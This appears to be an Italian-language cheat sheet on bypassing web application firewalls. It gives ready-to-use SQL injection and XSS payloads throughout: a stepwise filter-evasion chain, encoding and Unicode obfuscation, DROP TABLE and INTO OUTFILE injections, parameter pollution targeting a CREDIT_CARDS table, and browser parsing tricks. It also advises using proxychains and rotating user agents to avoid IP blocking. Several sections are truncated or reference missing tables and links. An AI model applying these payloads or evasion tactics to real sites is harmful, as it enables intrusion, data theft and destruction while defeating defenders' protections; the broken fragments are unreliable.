Fuzzing/Bruteforcing:

Metodo:

Eseguire un set di payload contro l'URL/endpoint. Alcune buone wordlist per fuzzing:

• Wordlist specificamente per fuzzing
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Other Payloads

Tecnica:

• Carica la tua wordlist nel fuzzer e avvia il bruteforce.
• Registra/logga tutte le risposte dai vari payload fuzzati.
• Usa user-agent casuali, dal browser Chrome Desktop a quello iPhone.
• Se noti blocchi, aumenta la latenza del fuzz (es. 2-4 sec).
• Usa sempre proxychains, poiché è reale la possibilità che il tuo IP venga bloccato.

Svantaggi:

• Questo metodo spesso fallisce.
• Molte volte il tuo IP verrà bloccato (temporaneamente/permanentemente).

Regex Reversing:

Metodo:

• Il metodo più efficiente per bypassare i WAF.
• Alcuni WAF si basano sul confronto dei payload di attacco con le firme nei loro database.
• Se il payload corrisponde alla regex, il WAF attiva l'allarme.

Tecniche:

Rilevamento/ByPass tramite Blacklist

• In questo metodo proviamo a identificare le regole passo dopo passo osservando le keyword nella blacklist.
• L'idea è indovinare la regex e costruire il prossimo payload che non usi le keyword bloccate.

Caso: SQL Injection

• Step 1:

Keyword Filtrate: and, or, union
Regex Probabile: preg_match('/(and|or|union)/i', $id)

• Tentativo Bloccato: union select user, password from users
• Iniezione Bypassata: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

Keyword Filtrate: and, or, union, where

• Tentativo Bloccato: 1 || (select user from users where user_id = 1) = 'admin'
• Iniezione Bypassata: 1 || (select user from users limit 1) = 'admin'

• Step 3:

Keyword Filtrate: and, or, union, where, limit

• Tentativo Bloccato: 1 || (select user from users limit 1) = 'admin'
• Iniezione Bypassata: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

Keyword Filtrate: and, or, union, where, limit, group by

• Tentativo Bloccato: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Iniezione Bypassata: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

Keyword Filtrate: and, or, union, where, limit, group by, select

• Tentativo Bloccato: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Iniezione Bypassata: 1 || 1 = 1 into outfile 'result.txt'
• Iniezione Bypassata: 1 || substr(user,1,1) = 'a'

• Step 6:

Keyword Filtrate: and, or, union, where, limit, group by, select, '

• Tentativo Bloccato: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Iniezione Bypassata: 1 || user_id is not null
• Iniezione Bypassata: 1 || substr(user,1,1) = 0x61
• Iniezione Bypassata: 1 || substr(user,1,1) = unhex(61)

• Step 7:

Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex

• Tentativo Bloccato: 1 || substr(user,1,1) = unhex(61)
• Iniezione Bypassata: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex, substr

• Tentativo Bloccato: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Iniezione Bypassata: 1 || lpad(user,7,1)

• Step 9:

Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex, substr, white space

• Tentativo Bloccato: 1 || lpad(user,7,1)
• Iniezione Bypassata: 1%0b||%0blpad(user,7,1)

Obfuscation:

Metodo:

• Codificare il payload in diverse codifiche (un approccio per tentativi ed errori).
• Puoi codificare l'intero payload, o alcune parti, e testare ricorsivamente.

Tecniche:

1. Alternanza Maiuscole/Miniuscole

• Alcuni WAF poco sviluppati filtrano selettivamente WAF con maiuscole/minuscole specifiche.
• Possiamo combinare caratteri maiuscoli e minuscoli per sviluppare payload efficienti.

Standard: <script>alert()</script>
Bypassato: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassato: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

• Codifica i payload normali con % encoding/URL encoding.
• Può essere fatto con strumenti online come questo.
• Burp include un encoder/decoder integrato.

Bloccato: <svG/x=">"/oNloaD=confirm()//
Bypassato: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Bloccato: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassato: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Normalizzazione Unicode

• I caratteri ASCII in codifica unicode offrono ottime varianti per il bypass.
• Puoi codificare l'intero/parte del payload per ottenere risultati.

Standard: <marquee onstart=prompt()>
Offuscato: <marquee onstart=\u0070r\u06f\u006dpt()>

Bloccato: /?redir=http://google.com
Bypassato: /?redir=http://google。com (alternativa Unicode)

Bloccato: <marquee loop=1 onfinish=alert()>x
Bypassato: ＜marquee loop＝1 onfinish＝alert︵1)>x (alternativa Unicode)

SUGGERIMENTO: Dai un'occhiata a questo e questo report su HackerOne. :)

Standard: ../../etc/passwd
Offuscato: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. Rappresentazione HTML

• Spesso le applicazioni web codificano i caratteri speciali in codifica HTML e li renderizzano di conseguenza.
• Questo ci porta a casi di bypass di base con codifica HTML (numerica/generica).

Standard: ">
Codificato: "><img src=x onerror=confirm()> (forma generica)
Codificato: "><img src=x onerror=confirm()> (riferimento numerico)

5. Codifica Mista

• A volte, le regole del WAF tendono a filtrare un tipo specifico di codifica.
• Questo tipo di filtri può essere bypassato con payload a codifica mista.
• Tabulazioni e newline aggiungono ulteriore offuscamento.

Offuscato:``` XSS

13. Rompi Token

• Gli attacchi ai tokenizer tentano di rompere la logica di suddivisione di una richiesta in token con l'aiuto dei rompi token.

• I rompi token sono simboli che permettono di influenzare la corrispondenza tra un elemento di una stringa e un determinato token, e quindi bypassare la ricerca per firma.

• Tuttavia, la richiesta deve comunque rimanere valida durante l'uso dei rompi token.

• Caso: Token Sconosciuto per il Tokenizer

  • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

• Caso: Contesto Sconosciuto per il Parser (Notare la parentesi senza contesto)

  • Payload 1: ?id=123);DROP TABLE users --
  • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

SUGGERIMENTO: Ulteriori payload possono essere creati tramite questo cheat sheet.

14. Offuscamento in Altri Formati

• Molte applicazioni web supportano diversi tipi di codifica e possono interpretare la codifica (vedi sotto).
• Offuscare il nostro payload in un formato non supportato dal WAF ma che il server può introdurre il nostro payload.

Caso: IIS

• IIS6, 7.5, 8 e 10 (ASPX v4.x) consentono interpretazioni dei caratteri IBM037.
• Possiamo codificare il nostro payload e inviare i parametri codificati con la query.

Richiesta Originale:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

La seguente tabella mostra il supporto delle diverse codifiche dei caratteri sui sistemi testati (quando i messaggi potevano essere offuscati utilizzandole):

SUGGERIMENTO: Puoi utilizzare questo piccolo script Python per convertire i tuoi payload e parametri nelle codifiche desiderate.

Inquinamento dei Parametri HTTP (HTTP Parameter Pollution)

Metodo:

• Questo metodo di attacco si basa su come un server interpreta parametri con lo stesso nome.
• Possibili possibilità di bypass qui sono:
  • Il server utilizza l'ultimo parametro ricevuto e il WAF controlla solo il primo.
  • Il server unisce il valore di parametri simili e il WAF li controlla separatamente.

Tecnica:

• L'idea è di enumerare come i parametri vengono interpretati dal server.
• In tal caso possiamo passare il payload a un parametro che non viene ispezionato dal WAF.
• È utile anche distribuire un payload su più parametri che possono successivamente essere concatenati dal server.

Di seguito è riportato un confronto tra diversi server e le loro interpretazioni relative:

Frammentazione dei Parametri HTTP (HTTP Parameter Fragmentation)

• HPF si basa sul principio secondo cui il server unisce il valore passato attraverso i parametri.
• Possiamo suddividere il payload in diversi componenti e quindi passare i valori tramite i parametri.

Payload di Esempio: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
URL di Query di Esempio: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

SUGGERIMENTO: Un esempio reale di come creare bypass utilizzando questo metodo può essere trovato qui.

Bug del Browser:

Bug del Set di Caratteri (Charset Bugs):

• Possiamo provare a cambiare l'intestazione del set di caratteri in un Unicode più alto (ad es. UTF-32) e testare i payload.
• Quando il sito decodifica la stringa, il payload viene attivato.

Richiesta di esempio:

Quando il sito viene caricato, verrà codificato nella codifica UTF-32 che abbiamo impostato, e quindi, poiché la codifica di output della pagina è UTF-8, verrà visualizzato come: "<script>alert (1) </ script> che attiverà XSS.

Payload finale codificato nell'URL:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Standard: <a href="javascript:alert()">
Offuscato: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Bug di Parsing:

• RFC stabilisce che i NodeNames non possono iniziare con spazi.
• Ma possiamo usare caratteri speciali come %, //, !, ?, ecc.

Esempi:

• <// style=x:expression\28write(1)\29> - Funziona fino a IE7 (Fonte)
• <!--[if]><script>alert(1)</script --> - Funziona fino a IE9 (Riferimento)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funziona in IE7 (Riferimento)
• <%div%20style=xss:expression(prompt(1))> - Funziona fino a IE7

Separatori Unicode:

• Ogni browser ha il proprio set specifico di separatori.
• Possiamo fare fuzzing sul range di charset da 0x00 a 0xFF e ottenere il set di separatori per ogni browser.
• Possiamo usare questi separatori nei punti in cui è richiesto uno spazio.

Ecco una lista compilata di separatori da @Masato Kinugawa:

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera: 0x09, 0x20, 0x2C, 0x3B
• Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Un esempio di payload esotico:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

• Caso: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)

Gli strumenti CLI come cURL possono essere molto utili per i PoCs:``` curl --ciphers -G -d

Utilizzo di Stringhe Whitelist:

Metodo:

• Alcuni sviluppatori di WAF mantengono un segreto condiviso con i propri utenti/sviluppatori, consentendo loro di superare query dannose attraverso il WAF.